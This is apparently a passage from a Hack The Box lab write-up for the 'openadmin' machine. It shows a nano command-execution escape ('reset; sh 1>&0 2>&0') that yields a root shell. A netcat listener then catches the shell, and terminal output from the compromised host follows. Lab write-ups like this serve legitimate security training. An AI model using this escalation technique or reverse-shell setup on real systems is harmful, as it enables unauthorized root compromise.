Nano


Executing nano. I will follow through

As expected, empty

but..

^R

^X

reset; sh 1>&0 2>&0

A root shell opens up

Elevating to a proper PTY session

┌──(kali㉿kali)-[~/archive/htb/labs/openadmin]
└─$ nnc 1234         
listening on [any] 1234 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.171] 50154
# whoami
root
# hostname
openadmin
# ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.10.171  netmask 255.255.255.0  broadcast 10.10.10.255
        inet6 fe80::250:56ff:feb9:a730  prefixlen 64  scopeid 0x20<link>
        inet6 dead:beef::250:56ff:feb9:a730  prefixlen 64  scopeid 0x0<global>
        ether 00:50:56:b9:a7:30  txqueuelen 1000  (Ethernet)
        RX packets 1659660  bytes 309517806 (309.5 MB)
        RX errors 0  dropped 100  overruns 0  frame 0
        TX packets 1657740  bytes 768407913 (768.4 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 12275  bytes 962613 (962.6 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 12275  bytes 962613 (962.6 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Successfully escalated privileges to the root user System Level Compromise